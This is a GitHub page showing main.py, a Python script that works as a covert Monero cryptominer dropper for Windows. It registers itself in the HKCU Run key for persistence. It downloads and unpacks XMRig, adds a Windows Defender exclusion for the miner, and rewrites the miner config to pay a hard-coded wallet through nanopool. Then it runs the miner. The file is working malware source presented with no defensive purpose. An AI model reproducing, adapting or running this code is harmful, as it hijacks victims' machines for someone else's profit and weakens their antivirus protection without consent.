-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
136 lines (112 loc) · 5.35 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import os
import winreg as reg
import ctypes
import sys
import subprocess
import json
xmrig_download_path = "%USERPROFILE%\\Documents"
xmrig_version_name = "xmrig-6.20.0"
def get_persistance_and_priv():
# Startup + admin priv for windows systems
#? Set up keys and paths
key = r"Software\Microsoft\Windows\CurrentVersion\Run"
app_name = os.path.basename(sys.argv[0])
app_path = os.path.abspath(sys.argv[0])
reg_path = r"HKCU\{}".format(key)
try:
# Check if the registry key already exists
reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_READ)
value, regtype = reg.QueryValueEx(reg_key, app_name)
reg.CloseKey(reg_key)
# Check if the RunAsAdmin key already exists
reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_READ)
value, regtype = reg.QueryValueEx(reg_key, f"{app_name}_RunAsAdmin")
reg.CloseKey(reg_key)
print(f"{app_name} is already set to run on startup and as administrator")
print(f"{app_name} has already been set up on pc, running xmrig.exe")
# If the app has already been set up on the pc, then just run xmrig.exe
return "is-setup"
except FileNotFoundError:
try:
# If the registry key doesn't exist, create it
reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(reg_key, app_name, 0, reg.REG_SZ, app_path)
reg.CloseKey(reg_key)
# Check if the application has admin privileges
if ctypes.windll.shell32.IsUserAnAdmin():
reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(reg_key, f"{app_name}_RunAsAdmin", 0, reg.REG_SZ, "1")
reg.CloseKey(reg_key)
print(f"{app_name} has been set to run as administrator during startup.")
else:
print(f"{app_name} will run on startup, but it doesn't have admin privileges.")
except Exception as e:
print(f"Error occurred: {e}")
def get_xmrig():
download_command = ["curl", "-o", r"%USERPROFILE%\Documents\xmrig.zip", "-L", "https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip"]
extract_command = ["powershell", "-Command", "Expand-Archive -Path %USERPROFILE%\\Documents\\xmrig.zip -DestinationPath %USERPROFILE%\\Documents\\xmrig -Force"]
subprocess.run(download_command, shell=True) # Get the binary
subprocess.run(extract_command, shell=True) # Extract binary
def get_av_exclusion():
# Set the exclusion path, so that xmrig.exe is excluded from virus scanning by windows defender
exclusion_path = os.path.join(xmrig_download_path, f"xmrig\\{xmrig_version_name}\\xmrig.exe")
# Run the command that adds the exclusion path to windows defender
try:
subprocess.run(["powershell", "Add-MpPreference -ExclusionPath", exclusion_path], check=True)
except:
return
def edit_xmrig_config():
# Get the file path, and take the [0] index of the xmrig_version_name since it would be equal to the only available file in the dir
xmrig_config = os.path.expandvars(f"{xmrig_download_path}\\xmrig\\{xmrig_version_name}\\config.json")
# Open the config files, then exchange the ["pools"] part of the json file, with this new ["pools"] value
with open(xmrig_config, "r+") as config_file:
data = json.load(config_file)
# Create a new "pools" list with your desired pool configuration
new_pools = [{
"algo": "rx/0",
"coin": None,
"url": "xmr-eu1.nanopool.org:10300",
"user": "49ugedDVzwYJ7TEFH9hK2FTsV9feseWH5Bo8KMXwKm8kAt1iK3F4xc588S1dMvDJJi3DqkC5QXYfGBorQwmLuNs1Apo4bNM",
"pass": "x",
"rig-id": "null",
"nicehash": False,
"keepalive": False,
"enabled": True,
"tls": False,
"tls-fingerprint": None,
"daemon": False,
"socks5": None,
"self-select": None,
"submit-to-origin": False
}]
# Replace the existing "pools" with the new list
data["pools"] = new_pools
# Move the file pointer to the beginning of the file before writing
config_file.seek(0)
# Write the modified JSON data back to the file
json.dump(data, config_file, indent=4)
# Truncate any remaining content (if the new data is smaller)
config_file.truncate()
def run_xmrig():
# Get the executable and config file, for the xmrig command
xmrig_executable = os.path.join(xmrig_download_path, f"xmrig\\{xmrig_version_name}\\xmrig.exe")
#xmrig_config = os.path.join(xmrig_download_path, f"xmrig\\{xmrig_version_name}\\config.json")
# Construct xmrig command
try:
print(f"Running xmrig from: {xmrig_executable}")
subprocess.run(f"{xmrig_executable}", shell=True)
except Exception as e:
print(f"Error: {e}")
def main():
if os.name != "nt":
return
if get_persistance_and_priv() == "is-setup":
run_xmrig()
return
else:
get_xmrig()
get_av_exclusion()
edit_xmrig_config()
run_xmrig()
if __name__ == "__main__":
main()